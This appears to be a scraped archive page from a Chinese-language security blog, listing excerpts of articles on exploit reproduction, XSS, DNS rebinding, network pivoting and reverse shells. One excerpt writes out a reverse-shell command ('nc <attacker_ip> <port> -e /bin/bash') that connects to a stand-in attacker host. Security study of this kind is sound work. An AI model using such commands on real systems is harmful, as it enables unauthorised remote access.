前言：好久没写文章了，挑了一下难复现的文章来进行复现。并写了一个批量。坑主要在socket发送post包和断点注入那块。0x01 goahead漏洞介绍1、漏洞编号CVE-2021-423422、影响...
08月28日82 views评论server
socket
Goahead的Nday漏洞复现利用及批量
08月28日82 views评论server
socket
08月28日82 views评论server
socket
-Attacker的Quake
360QUAKE因为看见 所以安全Quake就是为这样的Attacker师傅们服务的：很少去挖洞就爱做手活，上大学的时候就给全校老师讲课，攻破了*******差点被****，至今仍有中学女同学怀念他。...
08月03日18 views评论apt
attacker
api漏洞系列-通过access_token绕过权限
前言 声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。主要业务逻辑 Zopim仪表板帐户的...
07月25日安全文章111 views评论com
https
识别威胁
Indentifying Threats识别威胁There's an almost infinite possibility of threats, so it's important to use ...
07月08日25 views评论software
use
DNS 重绑定之美之旅 - 第 1 部分
点击上方蓝字“Ots安全”一起玩耍作者乔瓦尼·吉多亚历山德罗·布拉乔抽象的在关于DNS 重新绑定 主题的第一篇博客文章中，我们将展示一个针对本地网络中公开的UPnP 服务的DNS 重新绑定攻击的实际示...
06月02日116 views评论com
dns
Server Side XSS (Dynamic PDF)
基本介绍如果一个网页正在使用用户控制的输入创建一个PDF，您可以尝试欺骗创建PDF的机器人执行任意JS代码，PDF creator bot发现某种HTML标签后它将解释它们，您可以滥用这种行为来导致服...
05月26日安全闲碎53 views评论http
xss
EOS dApp漏洞盘点分析2-EOSBet遭受转账通知伪造攻击2
点击关注「零时科技」，实时获取区块链安全最新动态！Written by WeaponX@零时科技本文所有过程均在本地测试节点完成文章用到的所有代码均在 https://github.com/NoneA...
05月16日71 views评论token
黑客攻击
多重转发渗透隐藏内网
From：http://3xp10it.cc/0x00 About内网机器如下:说明:1)Attacker为攻击者,有一个网卡,网段为172.16.0.0,Attacker系统为kali系统2)RD为...
03月01日45 views评论meterpreter
msf
WordPress <= 4.2 - Stored XSS
Source: http://klikki.fi/adv/wordpress2.html## Overview Current versions of WordPress are ...
01月01日漏洞时代345 views评论wordpress
xss
linux下反弹Shell的五种方法
1. nc <attacker_ip> <port> -e /bin/bash 2. mknod backpipe p;...
11月21日moonsec_com472 views评论bin
ip
【CVE-2017-11882】漏洞POC 全版本通杀
这种利用触发器WebClient服务开始和从attacker-controlled WebDav执行远程文件服务��。这种方法可以方便的原因是一个限制执行命令的长度。然而WebDa...
05月19日632 views评论attacker
cve
4